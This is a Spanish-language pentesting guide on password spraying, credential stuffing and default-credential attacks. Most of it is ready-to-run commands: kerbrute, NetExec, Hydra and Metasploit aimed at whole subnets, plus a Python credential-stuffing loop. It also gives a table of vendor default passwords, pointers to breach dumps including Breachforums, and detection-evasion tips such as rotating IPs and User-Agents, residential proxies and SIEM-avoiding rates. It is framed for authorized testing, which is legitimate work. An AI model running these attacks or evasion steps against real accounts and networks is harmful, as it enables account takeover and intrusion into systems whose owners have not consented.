password-spraying-stuffing-y-credenciales-por-defecto
Password Spraying, Stuffing y Credenciales por Defecto
Section titled “Password Spraying, Stuffing y Credenciales por Defecto”1. Password Spraying
Section titled “1. Password Spraying”¿Qué es?
Section titled “¿Qué es?”El spraying invierte la lógica del brute-force clásico: en lugar de probar muchas contraseñas contra un usuario, prueba una sola contraseña contra muchos usuarios. Esto evita superar el umbral de lockout por cuenta.
Es especialmente eficaz en Active Directory, donde:
- Las políticas de lockout son por usuario, no globales
- Las contraseñas corporativas siguen patrones predecibles (
Empresa2024!,Welcome1,Changeme123!) - Un dominio puede tener miles de usuarios — la superficie es amplia
Fase previa: enumerar la política de lockout
Section titled “Fase previa: enumerar la política de lockout”Antes de lanzar cualquier spray, obtener la política de bloqueo es obligatorio:
# Con NetExec (requiere credenciales válidas o null session)netexec smb <target> -u <user> -p <pass> --pass-pol
# Con enum4linux (null session en entornos legacy)enum4linux -P <target>
# Con PowerView (desde dentro del dominio)Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess# Clave: LockoutBadCount (umbral), ResetLockoutCount (ventana en minutos)Regla de oro: nunca superar LockoutBadCount - 1 intentos por cuenta en la ventana definida por ResetLockoutCount.
Herramientas
Section titled “Herramientas”Kerbrute (vía Kerberos — sigiloso)
# Enumerar usuarios válidos primerokerbrute userenum -d dominio.local --dc 192.168.1.10 users.txt
# Sprayingkerbrute passwordspray -d dominio.local --dc 192.168.1.10 users.txt 'Password2024!'Ventaja: usa preautenticación Kerberos (AS-REQ), que en muchas configs no genera eventos de lockout ni alertas de SIEM. Más silencioso que NTLM.
NetExec (vía SMB/LDAP/WinRM)
# Spray básiconetexec smb 192.168.1.10 -u users.txt -p 'Password2024!' --continue-on-success
# Spray en rango de red completonetexec smb 192.168.1.0/24 -u users.txt -p 'Password2024!' --continue-on-success
# Múltiples contraseñas SIN bruteforce (una combinación user+pass por intento)netexec smb 192.168.1.0/24 -u users.txt -p passwords.txt --no-bruteforce
--no-bruteforceprueba user[0]:pass[0], user[1]:pass[1]… en lugar del producto cartesiano. Útil para listas de pares inferidos.
Hydra (para aplicaciones web)
hydra -L users.txt -p 'Password2024!' \ https-post-form://app.empresa.com/login \ "/login:username=^USER^&password=^PASS^:Invalid credentials"Burp Suite (web — control granular)
Usar Pitchfork con lista de usuarios fija y contraseña única. Permite inspeccionar respuestas HTTP, gestionar cookies/CSRF tokens y controlar el rate.
Timing y gestión de lockout
Section titled “Timing y gestión de lockout”# Ronda 1netexec smb <target> -u users.txt -p 'Password2024!' --continue-on-success
# Esperar la ventana de reset (ej. 30 min)sleep 1800
# Ronda 2 con contraseña diferentenetexec smb <target> -u users.txt -p 'Welcome1!' --continue-on-success| Riesgo | Mitigación |
|---|---|
| Alertas de SIEM por múltiples AS-REQ fallidos | Kerbrute con bajo rate (--delay) |
| Evento 4625 (logon fallido) en cantidad | Limitar a 1 contraseña/ronda, respetar ventana |
| Bloqueo de cuenta | Consultar política antes, umbral-1 siempre |
| Correlación por IP de origen | Pulverizar desde múltiples hosts si es posible |
2. Credential Stuffing
Section titled “2. Credential Stuffing”¿Qué es?
Section titled “¿Qué es?”El stuffing usa pares usuario:contraseña reales extraídos de brechas públicas y los prueba contra otros servicios, aprovechando la reutilización de credenciales.
No es fuerza bruta — son credenciales potencialmente válidas probadas en un contexto diferente. La eficacia depende directamente de la tasa de reutilización del objetivo.
Fuentes de credenciales filtradas
Section titled “Fuentes de credenciales filtradas”- HaveIBeenPwned — verificar si emails objetivo aparecen en brechas conocidas
- Dehashed (pago) — búsqueda por dominio, email, hash
- IntelligenceX — motor de búsqueda OSINT con dumps indexados
- Breachforums / foros de acceso — dumps recientes (uso forense/investigativo)
- SecLists —
SecLists/Passwords/Leaked-Databases/
En un pentest con scope autorizado, el cliente puede facilitar una lista de emails corporativos para cruzar contra HaveIBeenPwned y determinar exposición real.
Formato esperado
Section titled “Formato esperado”La mayoría de herramientas esperan el formato usuario:contraseña:
jdoe@empresa.com:Hunter2!maria.garcia:Verano2019admin:Password123Herramientas
Section titled “Herramientas”Hydra (SSH, FTP, HTTP)
# SSHhydra -C leaked_credentials.txt ssh://10.100.38.23
# HTTP POSThydra -C leaked_credentials.txt \ https-post-form://app.empresa.com/login \ "/login:user=^USER^&pass=^PASS^:Invalid"
# FTPhydra -C leaked_credentials.txt ftp://192.168.1.50NetExec (SMB, LDAP, WinRM, RDP)
# Stuffing contra SMB con lista de paresnetexec smb 192.168.1.0/24 -u users.txt -p passwords.txt --no-bruteforce
# WinRM (útil si hay acceso remoto PowerShell)netexec winrm 192.168.1.10 -u users.txt -p passwords.txt --no-bruteforceScript Python personalizado (para APIs/portales con CSRF/MFA)
import requests
creds = open("leaked.txt").readlines()session = requests.Session()
for line in creds: user, passwd = line.strip().split(":", 1) r = session.post("https://portal.empresa.com/api/login", json={"email": user, "password": passwd}) if r.status_code == 200 and "token" in r.json(): print(f"[+] VÁLIDO: {user}:{passwd}")Vectores de alto valor
Section titled “Vectores de alto valor”| Servicio | Por qué es atractivo |
|---|---|
| VPN corporativa (SSL/IPsec) | Acceso directo a red interna |
| Citrix / RDP Gateway | Escritorio remoto completo |
| Office 365 / Azure AD | Email, SharePoint, Teams |
| Portales de RRHH / nómina | Datos sensibles, posible escalada |
| GitHub / GitLab corporativo | Código fuente, secrets en repos |
| Panel de Datos101 / backups | Infraestructura de clientes (contexto MSSP) |
| Riesgo | Mitigación |
|---|---|
| Rate limiting / WAF | Añadir delays entre requests, rotar IPs/User-Agents |
| MFA activo | Identifica cuentas válidas igualmente (error distinto) |
| Alertas de login desde IPs externas | Usar proxies residenciales si scope lo permite |
| Logs de autenticación | Distribuir intentos en tiempo |
3. Credenciales por Defecto
Section titled “3. Credenciales por Defecto”¿Qué es?
Section titled “¿Qué es?”Dispositivos y aplicaciones salen de fábrica con credenciales conocidas y documentadas. Si el administrador no las cambia durante la configuración, representan un acceso trivial — sin necesidad de cracking.
Contextos más comunes
Section titled “Contextos más comunes”- Routers, switches, firewalls (Cisco, Mikrotik, Fortinet…)
- Cámaras IP y sistemas de vigilancia
- Impresoras con panel web
- Appliances de backup (contexto relevante en MSSP)
- Interfaces de gestión: iLO, iDRAC, IPMI, BMC
- Bases de datos instaladas por defecto
- Herramientas DevOps: Jenkins, Tomcat, Grafana, Kibana
Recursos de referencia
Section titled “Recursos de referencia”https://www.default-password.infohttps://cirt.net/passwordshttps://github.com/ihebski/DefaultCreds-cheat-sheet- SecLists:
SecLists/Passwords/Default-Credentials/
Herramienta: DefaultCreds-cheat-sheet
Section titled “Herramienta: DefaultCreds-cheat-sheet”pip3 install defaultcreds-cheat-sheet
# Buscar por producto/vendorcreds search linksyscreds search ciscocreds search tomcatcreds search fortinetTabla de credenciales por defecto habituales
Section titled “Tabla de credenciales por defecto habituales”| Producto | Usuario | Contraseña |
|---|---|---|
| Cisco IOS | cisco | cisco |
| Cisco ASA (ASDM) | admin | admin / (vacía) |
| Fortinet FortiGate | admin | (vacía) |
| HP iLO | Administrator | (en etiqueta física) |
| Dell iDRAC | root | calvin |
| IPMI genérico | ADMIN | ADMIN |
| MySQL | root | (vacía) |
| PostgreSQL | postgres | postgres |
| Apache Tomcat | tomcat | tomcat / s3cret |
| Jenkins | admin | admin |
| Grafana | admin | admin |
| Kibana | elastic | changeme |
| Printer panels | admin | admin / 1234 |
| Linksys (router) | admin | admin |
| Netgear | admin | password |
| MikroTik | admin | (vacía) |
Herramientas y ejemplos
Section titled “Herramientas y ejemplos”NetExec (sweep rápido en red interna)
# Credenciales comunes contra SMB en toda la subrednetexec smb 192.168.1.0/24 -u admin -p adminnetexec smb 192.168.1.0/24 -u administrator -p ''netexec smb 192.168.1.0/24 -u admin -p ''
# Con lista de defaults de SecListsnetexec smb 192.168.1.0/24 \ -u /usr/share/seclists/Passwords/Default-Credentials/default-usernames.txt \ -p /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \ --no-bruteforceHydra (dispositivos de red / HTTP)
# Router con panel HTTPhydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \ 192.168.1.1 http-get /
# Tomcat managerhydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt \ 192.168.1.100 http-get /manager/htmlMetasploit (módulos específicos)
# Escáner de credenciales por defecto para múltiples serviciosuse auxiliary/scanner/multi/ssh/ssh_loginset RHOSTS 192.168.1.0/24set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/default_userpass_for_services_unhashed.txtrunEstrategia en reconocimiento interno
Section titled “Estrategia en reconocimiento interno”En una red interna (pentest o auditoría), el flujo recomendado es:
- Descubrimiento:
nmap -sV 192.168.1.0/24— identificar servicios y versiones - Fingerprinting de productos: banner grabbing, páginas de login con logos
- Búsqueda de defaults:
creds search <producto>o SecLists - Sweep rápido: NetExec con
admin:adminyadministrator:en todos los hosts SMB - Verificación manual: confirmar accesos en paneles web antes de escalar
En contexto MSSP, los appliances de backup de clientes (Datos101 y similares) pueden tener paneles de administración accesibles con credenciales de fábrica si nunca fueron hardened. Documentar como hallazgo crítico.
Comparativa de técnicas
Section titled “Comparativa de técnicas”| Técnica | Requiere | Lockout risk | Efectividad | Entorno ideal |
|---|---|---|---|---|
| Password Spraying | Lista de usuarios válidos | Alto si no se gestiona bien | Media-Alta | Active Directory |
| Credential Stuffing | Dump de brecha externa | Bajo (creds válidas) | Alta en consumidores | Servicios web, VPN |
| Default Credentials | Identificar producto/versión | Ninguno | Muy alta si aplica | Redes internas, IoT |